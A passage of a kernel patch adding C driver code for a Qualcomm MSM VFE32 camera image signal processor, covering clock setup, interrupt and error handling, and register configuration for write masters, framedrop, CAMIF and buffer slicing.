MSM_ISP32_TOTAL_WM_UB 792 +/*792 double word*/ + +static struct msm_cam_clk_info msm_vfe32_1_clk_info[] = { + /*vfe32 clock info for B-family: 8610 */ + {"vfe_clk_src", 266670000}, + {"vfe_clk", -1}, + {"vfe_ahb_clk", -1}, + {"csi_vfe_clk", -1}, + {"bus_clk", -1}, +}; + +static struct msm_cam_clk_info msm_vfe32_2_clk_info[] = { + /*vfe32 clock info for A-family: 8960 */ + {"vfe_clk", 266667000}, + {"vfe_pclk", -1}, + {"csi_vfe_clk", -1}, +}; + +static int msm_vfe32_init_hardware(struct vfe_device *vfe_dev) +{ + int rc = -1; + vfe_dev->vfe_clk_idx = 0; + rc = msm_isp_init_bandwidth_mgr(ISP_VFE0 + vfe_dev->pdev->id); + if (rc < 0) { + pr_err("%s: Bandwidth registration Failed!\n", __func__); + goto bus_scale_register_failed; + } + + if (vfe_dev->fs_vfe) { + rc = regulator_enable(vfe_dev->fs_vfe); + if (rc) { + pr_err("%s: Regulator enable failed\n", __func__); + goto fs_failed; + } + } + + rc = msm_cam_clk_enable(&vfe_dev->pdev->dev, msm_vfe32_1_clk_info, + vfe_dev->vfe_clk, ARRAY_SIZE(msm_vfe32_1_clk_info), 1); + if (rc < 0) { + rc = msm_cam_clk_enable(&vfe_dev->pdev->dev, + msm_vfe32_2_clk_info, vfe_dev->vfe_clk, + ARRAY_SIZE(msm_vfe32_2_clk_info), 1); + if (rc < 0) + goto clk_enable_failed; + else + vfe_dev->vfe_clk_idx = 2; + } else + vfe_dev->vfe_clk_idx = 1; + + vfe_dev->vfe_base = ioremap(vfe_dev->vfe_mem->start, + resource_size(vfe_dev->vfe_mem)); + if (!vfe_dev->vfe_base) { + rc = -ENOMEM; + pr_err("%s: vfe ioremap failed\n", __func__); + goto vfe_remap_failed; + } + + rc = request_irq(vfe_dev->vfe_irq->start, msm_isp_process_irq, + IRQF_TRIGGER_RISING, "vfe", vfe_dev); + if (rc < 0) { + pr_err("%s: irq request failed\n", __func__); + goto irq_req_failed; + } + + return rc; +irq_req_failed: + iounmap(vfe_dev->vfe_base); +vfe_remap_failed: + if (vfe_dev->vfe_clk_idx == 1) + msm_cam_clk_enable(&vfe_dev->pdev->dev, + msm_vfe32_1_clk_info, vfe_dev->vfe_clk, + ARRAY_SIZE(msm_vfe32_1_clk_info), 0); + if (vfe_dev->vfe_clk_idx == 2) + msm_cam_clk_enable(&vfe_dev->pdev->dev, + msm_vfe32_2_clk_info, vfe_dev->vfe_clk, + ARRAY_SIZE(msm_vfe32_2_clk_info), 0); +clk_enable_failed: + if (vfe_dev->fs_vfe) { + regulator_disable(vfe_dev->fs_vfe); + } +fs_failed: + msm_isp_deinit_bandwidth_mgr(ISP_VFE0 + vfe_dev->pdev->id); +bus_scale_register_failed: + return rc; +} + +static void msm_vfe32_release_hardware(struct vfe_device *vfe_dev) +{ + free_irq(vfe_dev->vfe_irq->start, vfe_dev); + tasklet_kill(&vfe_dev->vfe_tasklet); + iounmap(vfe_dev->vfe_base); + if (vfe_dev->vfe_clk_idx == 1) + msm_cam_clk_enable(&vfe_dev->pdev->dev, + msm_vfe32_1_clk_info, vfe_dev->vfe_clk, + ARRAY_SIZE(msm_vfe32_1_clk_info), 0); + if (vfe_dev->vfe_clk_idx == 2) + msm_cam_clk_enable(&vfe_dev->pdev->dev, + msm_vfe32_2_clk_info, vfe_dev->vfe_clk, + ARRAY_SIZE(msm_vfe32_2_clk_info), 0); + regulator_disable(vfe_dev->fs_vfe); + msm_isp_deinit_bandwidth_mgr(ISP_VFE0 + vfe_dev->pdev->id); +} + +static void msm_vfe32_init_hardware_reg(struct vfe_device *vfe_dev) +{ + /* CGC_OVERRIDE */ + msm_camera_io_w(0x07FFFFFF, vfe_dev->vfe_base + 0xC); + /* BUS_CFG */ + msm_camera_io_w(0x00000009, vfe_dev->vfe_base + 0x3C); + msm_camera_io_w(0x01000025, vfe_dev->vfe_base + 0x1C); + msm_camera_io_w_mb(0x1CFFFFFF, vfe_dev->vfe_base + 0x20); + msm_camera_io_w(0xFFFFFFFF, vfe_dev->vfe_base + 0x24); + msm_camera_io_w_mb(0x1FFFFFFF, vfe_dev->vfe_base + 0x28); + msm_camera_io_w(0x0, vfe_dev->vfe_base+0x6FC); + msm_camera_io_w(0x10000000, vfe_dev->vfe_base + VFE32_RDI_BASE(1)); + msm_camera_io_w(0x10000000, vfe_dev->vfe_base + VFE32_RDI_BASE(2)); + msm_camera_io_w(0x0, vfe_dev->vfe_base + VFE32_XBAR_BASE(0)); + msm_camera_io_w(0x0, vfe_dev->vfe_base + VFE32_XBAR_BASE(4)); + +} + +static void msm_vfe32_process_reset_irq(struct vfe_device *vfe_dev, + uint32_t irq_status0, uint32_t irq_status1) +{ + if (irq_status1 & BIT(23)) + complete(&vfe_dev->reset_complete); +} + +static void msm_vfe32_process_halt_irq(struct vfe_device *vfe_dev, + uint32_t irq_status0, uint32_t irq_status1) +{ +} + +static void msm_vfe32_process_camif_irq(struct vfe_device *vfe_dev, + uint32_t irq_status0, uint32_t irq_status1, + struct msm_isp_timestamp *ts) +{ + if (!(irq_status0 & 0x1F)) + return; + + if (irq_status0 & BIT(0)) { + ISP_DBG("%s: SOF IRQ\n", __func__); + if (vfe_dev->axi_data.src_info[VFE_PIX_0].raw_stream_count > 0 + && vfe_dev->axi_data.src_info[VFE_PIX_0]. + pix_stream_count == 0) { + msm_isp_sof_notify(vfe_dev, VFE_PIX_0, ts); + if (vfe_dev->axi_data.stream_update) + msm_isp_axi_stream_update(vfe_dev); + msm_isp_update_framedrop_reg(vfe_dev); + } + } +} + +static void msm_vfe32_process_violation_status(struct vfe_device *vfe_dev) +{ + uint32_t violation_status = vfe_dev->error_info.violation_status; + if (!violation_status) + return; + + if (violation_status & BIT(0)) + pr_err("%s: black violation\n", __func__); + if (violation_status & BIT(1)) + pr_err("%s: rolloff violation\n", __func__); + if (violation_status & BIT(2)) + pr_err("%s: demux violation\n", __func__); + if (violation_status & BIT(3)) + pr_err("%s: demosaic violation\n", __func__); + if (violation_status & BIT(4)) + pr_err("%s: crop violation\n", __func__); + if (violation_status & BIT(5)) + pr_err("%s: scale violation\n", __func__); + if (violation_status & BIT(6)) + pr_err("%s: wb violation\n", __func__); + if (violation_status & BIT(7)) + pr_err("%s: clf violation\n", __func__); + if (violation_status & BIT(8)) + pr_err("%s: matrix violation\n", __func__); + if (violation_status & BIT(9)) + pr_err("%s: rgb lut violation\n", __func__); + if (violation_status & BIT(10)) + pr_err("%s: la violation\n", __func__); + if (violation_status & BIT(11)) + pr_err("%s: chroma enhance violation\n", __func__); + if (violation_status & BIT(12)) + pr_err("%s: chroma supress mce violation\n", __func__); + if (violation_status & BIT(13)) + pr_err("%s: skin enhance violation\n", __func__); + if (violation_status & BIT(14)) + pr_err("%s: asf violation\n", __func__); + if (violation_status & BIT(15)) + pr_err("%s: scale y violation\n", __func__); + if (violation_status & BIT(16)) + pr_err("%s: scale cbcr violation\n", __func__); + if (violation_status & BIT(17)) + pr_err("%s: chroma subsample violation\n", __func__); + if (violation_status & BIT(18)) + pr_err("%s: framedrop enc y violation\n", __func__); + if (violation_status & BIT(19)) + pr_err("%s: framedrop enc cbcr violation\n", __func__); + if (violation_status & BIT(20)) + pr_err("%s: framedrop view y violation\n", __func__); + if (violation_status & BIT(21)) + pr_err("%s: framedrop view cbcr violation\n", __func__); + if (violation_status & BIT(22)) + pr_err("%s: realign buf y violation\n", __func__); + if (violation_status & BIT(23)) + pr_err("%s: realign buf cb violation\n", __func__); + if (violation_status & BIT(24)) + pr_err("%s: realign buf cr violation\n", __func__); +} + +static void msm_vfe32_process_error_status(struct vfe_device *vfe_dev) +{ + uint32_t error_status1 = vfe_dev->error_info.error_mask1; + + if (error_status1 & BIT(0)) + pr_err("%s: camif error status: 0x%x\n", + __func__, vfe_dev->error_info.camif_status); + if (error_status1 & BIT(1)) + pr_err("%s: stats bhist overwrite\n", __func__); + if (error_status1 & BIT(2)) + pr_err("%s: stats cs overwrite\n", __func__); + if (error_status1 & BIT(3)) + pr_err("%s: stats ihist overwrite\n", __func__); + if (error_status1 & BIT(4)) + pr_err("%s: realign buf y overflow\n", __func__); + if (error_status1 & BIT(5)) + pr_err("%s: realign buf cb overflow\n", __func__); + if (error_status1 & BIT(6)) + pr_err("%s: realign buf cr overflow\n", __func__); + if (error_status1 & BIT(7)) { + pr_err("%s: violation\n", __func__); + msm_vfe32_process_violation_status(vfe_dev); + } + if (error_status1 & BIT(8)) { + vfe_dev->stats->imagemaster0_overflow++; + pr_err("%s: image master 0 bus overflow\n", __func__); + } + if (error_status1 & BIT(9)) { + vfe_dev->stats->imagemaster1_overflow++; + pr_err("%s: image master 1 bus overflow\n", __func__); + } + if (error_status1 & BIT(10)) { + vfe_dev->stats->imagemaster2_overflow++; + pr_err("%s: image master 2 bus overflow\n", __func__); + } + if (error_status1 & BIT(11)) { + vfe_dev->stats->imagemaster3_overflow++; + pr_err("%s: image master 3 bus overflow\n", __func__); + } + if (error_status1 & BIT(12)) { + vfe_dev->stats->imagemaster4_overflow++; + pr_err("%s: image master 4 bus overflow\n", __func__); + } + if (error_status1 & BIT(13)) { + vfe_dev->stats->imagemaster5_overflow++; + pr_err("%s: image master 5 bus overflow\n", __func__); + } + if (error_status1 & BIT(14)) { + vfe_dev->stats->imagemaster6_overflow++; + pr_err("%s: image master 6 bus overflow\n", __func__); + } + if (error_status1 & BIT(15)) { + vfe_dev->stats->bg_overflow++; + pr_err("%s: status ae/bg bus overflow\n", __func__); + } + if (error_status1 & BIT(16)) { + vfe_dev->stats->bf_overflow++; + pr_err("%s: status af/bf bus overflow\n", __func__); + } + if (error_status1 & BIT(17)) { + vfe_dev->stats->awb_overflow++; + pr_err("%s: status awb bus overflow\n", __func__); + } + if (error_status1 & BIT(18)) { + vfe_dev->stats->rs_overflow++; + pr_err("%s: status rs bus overflow\n", __func__); + } + if (error_status1 & BIT(19)) { + vfe_dev->stats->cs_overflow++; + pr_err("%s: status cs bus overflow\n", __func__); + } + if (error_status1 & BIT(20)) { + vfe_dev->stats->ihist_overflow++; + pr_err("%s: status ihist bus overflow\n", __func__); + } + if (error_status1 & BIT(21)) { + vfe_dev->stats->skinbhist_overflow++; + pr_err("%s: status skin bhist bus overflow\n", __func__); + } + if (error_status1 & BIT(22)) + pr_err("%s: axi error\n", __func__); +} + +static void msm_vfe32_read_irq_status(struct vfe_device *vfe_dev, + uint32_t *irq_status0, uint32_t *irq_status1) +{ + *irq_status0 = msm_camera_io_r(vfe_dev->vfe_base + 0x2C); + *irq_status1 = msm_camera_io_r(vfe_dev->vfe_base + 0x30); + msm_camera_io_w(*irq_status0, vfe_dev->vfe_base + 0x24); + msm_camera_io_w_mb(*irq_status1, vfe_dev->vfe_base + 0x28); + msm_camera_io_w_mb(1, vfe_dev->vfe_base + 0x18); + + if (*irq_status1 & BIT(0)) + vfe_dev->error_info.camif_status = + msm_camera_io_r(vfe_dev->vfe_base + 0x204); + + if (*irq_status1 & BIT(7)) + vfe_dev->error_info.violation_status |= + msm_camera_io_r(vfe_dev->vfe_base + 0x7B4); +} + +static void msm_vfe32_process_reg_update(struct vfe_device *vfe_dev, + uint32_t irq_status0, uint32_t irq_status1, + struct msm_isp_timestamp *ts) +{ + if (!(irq_status0 & 0x20) && !(irq_status1 & 0x1C000000)) + return; + + if (irq_status0 & BIT(5)) + msm_isp_sof_notify(vfe_dev, VFE_PIX_0, ts); + if (irq_status1 & BIT(26)) + msm_isp_sof_notify(vfe_dev, VFE_RAW_0, ts); + if (irq_status1 & BIT(27)) + msm_isp_sof_notify(vfe_dev, VFE_RAW_1, ts); + if (irq_status1 & BIT(28)) + msm_isp_sof_notify(vfe_dev, VFE_RAW_2, ts); + + if (vfe_dev->axi_data.stream_update) + msm_isp_axi_stream_update(vfe_dev); + if (atomic_read(&vfe_dev->stats_data.stats_update)) + msm_isp_stats_stream_update(vfe_dev); + msm_isp_update_framedrop_reg(vfe_dev); + msm_isp_update_error_frame_count(vfe_dev); + + vfe_dev->hw_info->vfe_ops.core_ops. + reg_update(vfe_dev); + return; +} + +static void msm_vfe32_reg_update( + struct vfe_device *vfe_dev) +{ + msm_camera_io_w_mb(0xF, vfe_dev->vfe_base + 0x260); +} + +static uint32_t msm_vfe32_reset_values[ISP_RST_MAX] = { + 0x3FF, /* ISP_RST_HARD reset everything */ + 0x3EF /* ISP_RST_SOFT same as HARD RESET */ +}; + +static long msm_vfe32_reset_hardware(struct vfe_device *vfe_dev , + enum msm_isp_reset_type reset_type, uint32_t blocking) +{ + + uint32_t rst_val; + long rc = 0; + if (reset_type >= ISP_RST_MAX) { + pr_err("%s: Error Invalid parameter\n", __func__); + reset_type = ISP_RST_HARD; + } + rst_val = msm_vfe32_reset_values[reset_type]; + init_completion(&vfe_dev->reset_complete); + if (blocking) { + msm_camera_io_w_mb(rst_val, vfe_dev->vfe_base + 0x4); + rc = wait_for_completion_timeout( + &vfe_dev->reset_complete, msecs_to_jiffies(50)); + } else { + msm_camera_io_w_mb(0x3EF, vfe_dev->vfe_base + 0x4); + } + return rc; +} + +static void msm_vfe32_axi_reload_wm( + struct vfe_device *vfe_dev, uint32_t reload_mask) +{ + if (!vfe_dev->pdev->dev.of_node) { + /*vfe32 A-family: 8960*/ + msm_camera_io_w_mb(reload_mask, vfe_dev->vfe_base + 0x38); + } else { + /*vfe32 B-family: 8610*/ + msm_camera_io_w(0x0, vfe_dev->vfe_base + 0x28); + msm_camera_io_w(0x1C800000, vfe_dev->vfe_base + 0x20); + msm_camera_io_w_mb(0x1, vfe_dev->vfe_base + 0x18); + msm_camera_io_w(0x9AAAAAAA , vfe_dev->vfe_base + 0x600); + msm_camera_io_w(reload_mask, vfe_dev->vfe_base + 0x38); + } +} + +static void msm_vfe32_axi_enable_wm(struct vfe_device *vfe_dev, + uint8_t wm_idx, uint8_t enable) +{ + uint32_t val = msm_camera_io_r( + vfe_dev->vfe_base + VFE32_WM_BASE(wm_idx)); + if (enable) + val |= 0x1; + else + val &= ~0x1; + msm_camera_io_w_mb(val, + vfe_dev->vfe_base + VFE32_WM_BASE(wm_idx)); +} + +static void msm_vfe32_axi_cfg_comp_mask(struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info) +{ + struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; + uint32_t comp_mask, comp_mask_index = + stream_info->comp_mask_index; + uint32_t irq_mask; + + comp_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x34); + comp_mask &= ~(0x7F << (comp_mask_index * 8)); + comp_mask |= (axi_data->composite_info[comp_mask_index]. + stream_composite_mask << (comp_mask_index * 8)); + msm_camera_io_w(comp_mask, vfe_dev->vfe_base + 0x34); + + irq_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x1C); + irq_mask |= BIT(comp_mask_index + 21); + msm_camera_io_w(irq_mask, vfe_dev->vfe_base + 0x1C); +} + +static void msm_vfe32_axi_clear_comp_mask(struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info) +{ + uint32_t comp_mask, comp_mask_index = stream_info->comp_mask_index; + uint32_t irq_mask; + + comp_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x34); + comp_mask &= ~(0x7F << (comp_mask_index * 8)); + msm_camera_io_w(comp_mask, vfe_dev->vfe_base + 0x34); + + irq_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x1C); + irq_mask &= ~BIT(comp_mask_index + 21); + msm_camera_io_w(irq_mask, vfe_dev->vfe_base + 0x1C); +} + +static void msm_vfe32_axi_cfg_wm_irq_mask(struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info) +{ + uint32_t irq_mask; + irq_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x1C); + irq_mask |= BIT(stream_info->wm[0] + 6); + msm_camera_io_w(irq_mask, vfe_dev->vfe_base + 0x1C); +} + +static void msm_vfe32_axi_clear_wm_irq_mask(struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info) +{ + uint32_t irq_mask; + irq_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x1C); + irq_mask &= ~BIT(stream_info->wm[0] + 6); + msm_camera_io_w(irq_mask, vfe_dev->vfe_base + 0x1C); +} + +static void msm_vfe32_cfg_framedrop(struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info) +{ + uint32_t framedrop_pattern = 0, framedrop_period = 0; + + if (stream_info->runtime_init_frame_drop == 0) { + framedrop_pattern = stream_info->framedrop_pattern; + framedrop_period = stream_info->framedrop_period; + } + + if (stream_info->stream_type == BURST_STREAM && + stream_info->runtime_burst_frame_count == 0) { + framedrop_pattern = 0; + framedrop_period = 0; + } + + if (stream_info->stream_src == PIX_ENCODER) { + msm_camera_io_w(framedrop_period, vfe_dev->vfe_base + 0x504); + msm_camera_io_w(framedrop_period, vfe_dev->vfe_base + 0x508); + msm_camera_io_w(framedrop_pattern, vfe_dev->vfe_base + 0x50C); + msm_camera_io_w(framedrop_pattern, vfe_dev->vfe_base + 0x510); + } else if (stream_info->stream_src == PIX_VIEWFINDER) { + msm_camera_io_w(framedrop_period, vfe_dev->vfe_base + 0x514); + msm_camera_io_w(framedrop_period, vfe_dev->vfe_base + 0x518); + msm_camera_io_w(framedrop_pattern, vfe_dev->vfe_base + 0x51C); + msm_camera_io_w(framedrop_pattern, vfe_dev->vfe_base + 0x520); + } + msm_camera_io_w_mb(0x1, vfe_dev->vfe_base + 0x260); +} + +static void msm_vfe32_clear_framedrop(struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info) +{ + if (stream_info->stream_src == PIX_ENCODER) { + msm_camera_io_w(0, vfe_dev->vfe_base + 0x50C); + msm_camera_io_w(0, vfe_dev->vfe_base + 0x510); + } else if (stream_info->stream_src == PIX_VIEWFINDER) { + msm_camera_io_w(0, vfe_dev->vfe_base + 0x51C); + msm_camera_io_w(0, vfe_dev->vfe_base + 0x520); + } +} + +static int32_t msm_vfe32_cfg_io_format(struct vfe_device *vfe_dev, + enum msm_vfe_axi_stream_src stream_src, uint32_t io_format) +{ + int bpp, bpp_reg = 0, pack_fmt = 0, pack_reg = 0; + uint32_t io_format_reg; + bpp = msm_isp_get_bit_per_pixel(io_format); + if (bpp < 0) { + pr_err("%s:%d invalid io_format %d bpp %d", __func__, __LINE__, + io_format, bpp); + return -EINVAL; + } + + switch (bpp) { + case 8: + bpp_reg = 0; + break; + case 10: + bpp_reg = 1 << 0; + break; + case 12: + bpp_reg = 1 << 1; + break; + default: + pr_err("%s:%d invalid bpp %d", __func__, __LINE__, bpp); + return -EINVAL; + } + + if (stream_src == IDEAL_RAW) { + pack_fmt = msm_isp_get_pack_format(io_format); + switch (pack_fmt) { + case QCOM: + pack_reg = 0x0; + break; + case MIPI: + pack_reg = 0x1; + break; + case DPCM6: + pack_reg = 0x2; + break; + case DPCM8: + pack_reg = 0x3; + break; + case PLAIN8: + pack_reg = 0x4; + break; + case PLAIN16: + pack_reg = 0x5; + break; + default: + pr_err("%s: invalid pack fmt!\n", __func__); + return -EINVAL; + } + } + + io_format_reg = msm_camera_io_r(vfe_dev->vfe_base + 0x6F8); + switch (stream_src) { + case PIX_ENCODER: + case PIX_VIEWFINDER: + case CAMIF_RAW: + io_format_reg &= 0xFFFFCFFF; + io_format_reg |= bpp_reg << 12; + break; + case IDEAL_RAW: + io_format_reg &= 0xFFFFFFC8; + io_format_reg |= bpp_reg << 4 | pack_reg; + break; + case RDI_INTF_0: + case RDI_INTF_1: + case RDI_INTF_2: + default: + pr_err("%s: Invalid stream source\n", __func__); + return -EINVAL; + } + msm_camera_io_w(io_format_reg, vfe_dev->vfe_base + 0x6F8); + return 0; +} + +static void msm_vfe32_cfg_camif(struct vfe_device *vfe_dev, + struct msm_vfe_pix_cfg *pix_cfg) +{ + uint16_t first_pixel, last_pixel, first_line, last_line; + struct msm_vfe_camif_cfg *camif_cfg = &pix_cfg->camif_cfg; + uint32_t val; + + first_pixel = camif_cfg->first_pixel; + last_pixel = camif_cfg->last_pixel; + first_line = camif_cfg->first_line; + last_line = camif_cfg->last_line; + + msm_camera_io_w(pix_cfg->input_mux << 16 | pix_cfg->pixel_pattern, + vfe_dev->vfe_base + 0x14); + + msm_camera_io_w(camif_cfg->lines_per_frame << 16 | + camif_cfg->pixels_per_line, + vfe_dev->vfe_base + 0x1EC); + + msm_camera_io_w(first_pixel << 16 | last_pixel, + vfe_dev->vfe_base + 0x1F0); + + msm_camera_io_w(first_line << 16 | last_line, + vfe_dev->vfe_base + 0x1F4); + + val = msm_camera_io_r(vfe_dev->vfe_base + 0x6FC); + val &= 0xFFFFFFFC; + val |= camif_cfg->camif_input; + msm_camera_io_w(val, vfe_dev->vfe_base + 0x6FC); +} + +static void msm_vfe32_update_camif_state( + struct vfe_device *vfe_dev, + enum msm_isp_camif_update_state update_state) +{ + uint32_t val; + bool bus_en, vfe_en; + if (update_state == NO_UPDATE) + return; + + val = msm_camera_io_r(vfe_dev->vfe_base + 0x1E4); + if (update_state == ENABLE_CAMIF) { + bus_en = + ((vfe_dev->axi_data.src_info[ + VFE_PIX_0].raw_stream_count > 0) ? 1 : 0); + vfe_en = + ((vfe_dev->axi_data.src_info[ + VFE_PIX_0].pix_stream_count > 0) ? 1 : 0); + val &= 0xFFFFFF3F; + val = val | bus_en << 7 | vfe_en << 6; + msm_camera_io_w(val, vfe_dev->vfe_base + 0x1E4); + msm_camera_io_w_mb(0x4, vfe_dev->vfe_base + 0x1E0); + msm_camera_io_w_mb(0x1, vfe_dev->vfe_base + 0x1E0); + vfe_dev->axi_data.src_info[VFE_PIX_0].active = 1; + } else if (update_state == DISABLE_CAMIF) { + msm_camera_io_w_mb(0x0, vfe_dev->vfe_base + 0x1E0); + vfe_dev->axi_data.src_info[VFE_PIX_0].active = 0; + } else if (update_state == DISABLE_CAMIF_IMMEDIATELY) { + vfe_dev->ignore_error = 1; + msm_camera_io_w_mb(0x6, vfe_dev->vfe_base + 0x1E0); + vfe_dev->axi_data.src_info[VFE_PIX_0].active = 0; + vfe_dev->ignore_error = 0; + } +} + +static void msm_vfe32_cfg_rdi_reg(struct vfe_device *vfe_dev, + struct msm_vfe_rdi_cfg *rdi_cfg, enum msm_vfe_input_src input_src) +{ + uint8_t rdi = input_src - VFE_RAW_0; + uint32_t rdi_reg_cfg; + rdi_reg_cfg = msm_camera_io_r( + vfe_dev->vfe_base + VFE32_RDI_BASE(0)); + rdi_reg_cfg &= ~(BIT(16 + rdi)); + rdi_reg_cfg |= rdi_cfg->frame_based << (16 + rdi); + msm_camera_io_w(rdi_reg_cfg, + vfe_dev->vfe_base + VFE32_RDI_BASE(0)); + + rdi_reg_cfg = msm_camera_io_r( + vfe_dev->vfe_base + VFE32_RDI_BASE(rdi)); + rdi_reg_cfg &= 0x70003; + rdi_reg_cfg |= (rdi * 3) << 28 | rdi_cfg->cid << 4 | 0x4; + msm_camera_io_w( + rdi_reg_cfg, vfe_dev->vfe_base + VFE32_RDI_BASE(rdi)); + +} + +static void msm_vfe32_axi_cfg_wm_reg( + struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info, + uint8_t plane_idx) +{ + uint32_t val; + uint32_t wm_base = VFE32_WM_BASE(stream_info->wm[plane_idx]); + + if (!stream_info->frame_based) { + /*WR_IMAGE_SIZE*/ + val = + ((msm_isp_cal_word_per_line( + stream_info->output_format, + stream_info->plane_cfg[plane_idx]. + output_width)+1)/2 - 1) << 16 | + (stream_info->plane_cfg[plane_idx]. + output_height - 1); + msm_camera_io_w(val, vfe_dev->vfe_base + wm_base + 0x10); + + /*WR_BUFFER_CFG*/ + val = + msm_isp_cal_word_per_line( + stream_info->output_format, + stream_info->plane_cfg[plane_idx]. + output_stride) << 16 | + (stream_info->plane_cfg[plane_idx]. + output_height - 1) << 4 | VFE32_BURST_LEN; + msm_camera_io_w(val, vfe_dev->vfe_base + wm_base + 0x14); + } else { + msm_camera_io_w(0x2, vfe_dev->vfe_base + wm_base); + val = + msm_isp_cal_word_per_line( + stream_info->output_format, + stream_info->plane_cfg[plane_idx]. + output_width) << 16 | + (stream_info->plane_cfg[plane_idx]. + output_height - 1) << 4 | VFE32_BURST_LEN; + msm_camera_io_w(val, vfe_dev->vfe_base + wm_base + 0x14); + } + return; +} + +static void msm_vfe32_axi_clear_wm_reg( + struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info, uint8_t plane_idx) +{ + uint32_t val = 0; + uint32_t wm_base = VFE32_WM_BASE(stream_info->wm[plane_idx]); + /* FRAME BASED */ + msm_camera_io_w(val, vfe_dev->vfe_base + wm_base); + /*WR_IMAGE_SIZE*/ + msm_camera_io_w(val, vfe_dev->vfe_base + wm_base + 0x10); + /*WR_BUFFER_CFG*/ + msm_camera_io_w(val, vfe_dev->vfe_base + wm_base + 0x14); + return; +} + +static void msm_vfe32_axi_cfg_wm_xbar_reg( + struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info, uint8_t plane_idx) +{ + struct msm_vfe_axi_plane_cfg *plane_cfg = + &stream_info->plane_cfg[plane_idx]; + uint8_t wm = stream_info->wm[plane_idx]; + uint32_t xbar_cfg = 0; + uint32_t xbar_reg_cfg = 0; + + switch (stream_info->stream_src) { + case PIX_ENCODER: + case PIX_VIEWFINDER: { + if (plane_cfg->output_plane_format != CRCB_PLANE && + plane_cfg->output_plane_format != CBCR_PLANE) { + /*SINGLE_STREAM_SEL*/ + xbar_cfg |= plane_cfg->output_plane_format << 5; + } else { + switch (stream_info->output_format) { + case V4L2_PIX_FMT_NV12: + case V4L2_PIX_FMT_NV14: + case V4L2_PIX_FMT_NV16: + xbar_cfg |= 0x3 << 3; /*PAIR_STREAM_SWAP_CTRL*/ + break; + } + xbar_cfg |= BIT(1); /*PAIR_STREAM_EN*/ + } + if (stream_info->stream_src == PIX_VIEWFINDER) + xbar_cfg |= 0x1; /*VIEW_STREAM_EN*/ + break; + } + case CAMIF_RAW: + xbar_cfg = 0x60; + break; + case IDEAL_RAW: + xbar_cfg = 0x80; + break; + case RDI_INTF_0: + xbar_cfg = 0xA0; + break; + case RDI_INTF_1: + xbar_cfg = 0xC0; + break; + case RDI_INTF_2: + xbar_cfg = 0xE0; + break; + default: + pr_err("%s: Invalid stream src\n", __func__); + } + xbar_reg_cfg = msm_camera_io_r(vfe_dev->vfe_base + VFE32_XBAR_BASE(wm)); + xbar_reg_cfg &= ~(0xFF << VFE32_XBAR_SHIFT(wm)); + xbar_reg_cfg |= (xbar_cfg << VFE32_XBAR_SHIFT(wm)); + msm_camera_io_w(xbar_reg_cfg, vfe_dev->vfe_base + VFE32_XBAR_BASE(wm)); + return; +} + +static void msm_vfe32_axi_clear_wm_xbar_reg( + struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info, uint8_t plane_idx) +{ + uint8_t wm = stream_info->wm[plane_idx]; + uint32_t xbar_reg_cfg = 0; + + xbar_reg_cfg = msm_camera_io_r(vfe_dev->vfe_base + VFE32_XBAR_BASE(wm)); + xbar_reg_cfg &= ~(0xFF << VFE32_XBAR_SHIFT(wm)); + msm_camera_io_w(xbar_reg_cfg, vfe_dev->vfe_base + VFE32_XBAR_BASE(wm)); +} + +static void msm_vfe32_cfg_axi_ub_equal_default(struct vfe_device *vfe_dev) +{ + int i; + uint32_t ub_offset = 0; + struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; + uint32_t total_image_size = 0; + uint32_t num_used_wms = 0; + uint32_t prop_size = 0; + uint32_t wm_ub_size; + uint64_t delta; + for (i = 0; i < axi_data->hw_info->num_wm; i++) { + if (axi_data->free_wm[i] > 0) { + num_used_wms++; + total_image_size += axi_data->wm_image_size[i]; + } + } + prop_size = MSM_ISP32_TOTAL_WM_UB - + axi_data->hw_info->min_wm_ub * num_used_wms; + for (i = 0; i < axi_data->hw_info->num_wm; i++) { + if (axi_data->free_wm[i]) { + delta = + (uint64_t)(axi_data->wm_image_size[i] * + prop_size); + do_div(delta, total_image_size); + wm_ub_size = axi_data->hw_info->min_wm_ub + + (uint32_t)delta; + msm_camera_io_w(ub_offset << 16 | + (wm_ub_size - 1), vfe_dev->vfe_base + + VFE32_WM_BASE(i) + 0xC); + ub_offset += wm_ub_size; + } else { + msm_camera_io_w(0, + vfe_dev->vfe_base + VFE32_WM_BASE(i) + 0xC); + } + } +} + +static void msm_vfe32_cfg_axi_ub_equal_slicing(struct vfe_device *vfe_dev) +{ + int i; + uint32_t ub_offset = 0; + uint32_t final_ub_slice_size; + struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; + for (i = 0; i < axi_data->hw_info->num_wm; i++) { + if (ub_offset + VFE32_EQUAL_SLICE_UB > VFE32_AXI_SLICE_UB) { + final_ub_slice_size = VFE32_AXI_SLICE_UB - ub_offset; + msm_camera_io_w(ub_offset << 16 | + (final_ub_slice_size - 1), vfe_dev->vfe_base + + VFE32_WM_BASE(i) + 0xC); + ub_offset += final_ub_slice_size; + } else { + msm_camera_io_w(ub_offset << 16 | + (VFE32_EQUAL_SLICE_UB - 1), vfe_dev->vfe_base + + VFE32_WM_BASE(i) + 0xC); + ub_offset += VFE32_EQUAL_SLICE_UB; + } + } +} + +static void msm_vfe32_cfg_axi_ub(struct vfe_device *vfe_dev) +{ + struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; + axi_data->wm_ub_cfg_policy = MSM_WM_UB_EQUAL_SLICING; + if (axi_data->wm_ub_cfg_policy == MSM_WM_UB_EQUAL_SLICING) + msm_vfe32_cfg_axi_ub_equal_slicing(vfe_dev); + else + msm_vfe32_cfg_axi_ub_equal_default(vfe_dev); +} + +static void 